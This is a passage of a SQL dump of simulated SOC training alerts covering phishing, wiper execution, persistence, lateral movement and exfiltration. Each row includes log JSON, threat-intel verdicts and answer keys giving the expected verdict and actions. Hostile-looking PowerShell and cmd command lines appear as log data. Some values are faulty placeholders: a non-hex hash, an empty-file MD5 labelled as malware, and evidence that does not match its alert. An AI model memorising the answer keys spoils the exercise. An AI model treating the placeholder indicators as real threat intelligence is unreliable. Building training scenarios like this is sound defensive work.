Detected\",\"date\":\"2026-03-02T13:55:06.807Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1323, 'Execution: DCSrv Wiper Deployment', 'critical', 'Endpoint Detection Systems', 'Following successful initial access, the attackers deployed the DCSrv wiper malware on the targeted endpoint with the objective to destroy critical data and disrupt operations. This aligns with their politically-driven objectives to cause chaos within the target\'s infrastructure.', 'Malware Execution', 'T1486 - Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"1029384756\",\"hostname\":\"target-server1\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"username\":\"admin_user\",\"malware_name\":\"DCSrv Wiper\",\"file_path\":\"C:\\\\Windows\\\\Temp\\\\dcwiper.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"execution\",\"status\":\"success\",\"detection_method\":\"signature-based\",\"event_description\":\"Malware execution detected: DCSrv Wiper initiated on target-server1 by user admin_user from IP 203.0.113.45.\"}', '2026-03-01 22:55:52', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP involved in multiple cyber attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the DCSrv Wiper malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"dcwiper.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Executable file used by DCSrv Wiper.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User account involved in unauthorized activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1324, 'Data Exfiltration: Sensitive Data Leak', 'critical', 'Network Traffic Analysis', 'The final phase of the attack executed by the threat actor Moses Staff involved the exfiltration of sensitive data from Israeli organizations. The data is set to be used for public release and political leverage.', 'Data Exfiltration', 'T1041', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:34:56Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"src_port\":44322,\"dst_port\":443,\"filename\":\"Sensitive_Company_Data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"data_exfiltration\",\"notes\":\"Large upload detected to known malicious IP.\"}', '2026-03-01 22:55:52', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected in previous data leaks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Sensitive_Company_Data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename matches pattern of exfiltrated data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"User account active and verified.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1325, 'Suspicious Dropbox API Activity Detected', 'medium', 'Network Traffic Analysis', 'IndigoZebra initiates their campaign by abusing the Dropbox API to establish a communication channel with compromised systems, bypassing traditional security measures.', 'Initial Access', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:35Z\",\"src_ip\":\"192.168.1.15\",\"dest_ip\":\"96.45.183.149\",\"dest_domain\":\"api.dropboxapi.com\",\"method\":\"POST\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\",\"filename\":\"dbx_comm_payload.bin\",\"file_hash\":\"d2d2d2e5a5a5f5f5g5g5h5h5i5i5j5j5\",\"username\":\"indigo_user\",\"session_id\":\"6F2A1B3C4D5E6F7G8H9I0J1K2L3M4N5O\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"96.45.183.149\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"api.dropboxapi.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Public Domain Info\",\"verdict\":\"clean\",\"details\":\"Legitimate Dropbox API domain\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"dbx_comm_payload.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized payload file\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d2d2d2e5a5a5f5f5g5g5h5h5i5i5j5j5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known IndigoZebra malware\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"indigo_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account suspected of being compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1326, 'xCaon Malware Execution on Host System', 'high', 'Endpoint Detection and Response (EDR)', 'The xCaon malware was executed on the host system, indicating the start of a potential system compromise. This step involves the execution of the malicious payload aimed at gaining control over the system.', 'Execution', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"host_ip\":\"192.168.1.10\",\"attacker_ip\":\"203.0.113.45\",\"executed_file\":\"C:\\\\Users\\\\Public\\\\xCaonPayload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"john.doe\",\"process_id\":1234,\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File xCaonPayload.exe\",\"event_id\":4688,\"event_description\":\"A new process has been created.\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the host system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with multiple attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware signature.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"internal\",\"details\":\"Username of the compromised account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1327, 'Persistence Achieved via Scheduled Tasks', 'medium', 'System Logs', 'IndigoZebra ensures their presence by setting up scheduled tasks, allowing them to regain access even after system reboots. A scheduled task was created by the attacker to execute a malicious script periodically.', 'Persistence', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"4698\",\"task_name\":\"\\\\IndigoZebra_MaintainAccess\",\"task_content\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c C:\\\\Windows\\\\Temp\\\\malicious_script.bat\",\"user\":\"compromised_user\",\"user_sid\":\"S-1-5-21-123456789-1234567890-123456789-1001\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"sha256_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Legitimate user account on the network.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server IP.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"MD5 hash of known malicious file.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.815Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:00Z\\\",\\\"event_id\\\":\\\"4698\\\",\\\"task_name\\\":\\\"\\\\\\\\IndigoZebra_MaintainAccess\\\",\\\"task_content\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious_script.bat\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-123456789-1234567890-123456789-1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.15\\\",\\\"md5_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"sha256_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1328, 'Unauthorized Access to Internal Networks', 'high', 'Intrusion Detection Systems', 'An unauthorized lateral movement attempt was detected from a compromised internal host to critical systems within the network. The attacker is leveraging valid credentials to expand access.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"10.1.1.12\",\"external_attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"event_type\":\"authentication_attempt\",\"status\":\"success\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious_payload.exe\",\"event_id\":\"4624\",\"message\":\"Successful login using compromised credentials detected.\",\"process\":\"svchost.exe\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP involved in unauthorized access attempt.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Targeted critical system within the network.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware sample used for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"compromised\",\"details\":\"Compromised credentials used in the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.818Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"destination_ip\\\":\\\"10.1.1.12\\\",\\\"external_attacker_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_type\\\":\\\"authentication_attempt\\\",\\\"status\\\":\\\"success\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"event_id\\\":\\\"4624\\\",\\\"message\\\":\\\"Successful login using compromised credentials detected.\\\",\\\"process\\\":\\\"svchost.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1329, 'Data Exfiltration via Encrypted Channels', 'high', 'Data Loss Prevention (DLP) Tools', 'IndigoZebra carried out the final stage of their operation, exfiltrating sensitive data using encrypted C2 channels. This activity was detected by our DLP tools, indicating the use of encrypted traffic to an external IP associated with known malicious activities.', 'Exfiltration', 'T1048', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:22:31Z\",\"event_id\":\"DLPE12345\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"data_volume\":\"15MB\",\"user\":\"jdoe\",\"filename\":\"sensitive_data.zip\",\"hash\":\"a1b2c3d4e5f67890123456789abcdef0\",\"action\":\"Data Exfiltration Detected\"}', '2026-03-01 22:55:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with IndigoZebra operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f67890123456789abcdef0\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"File hash associated with data exfiltration malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"File involved in the data exfiltration attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_db\",\"verdict\":\"internal\",\"details\":\"Username of the potentially compromised account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, 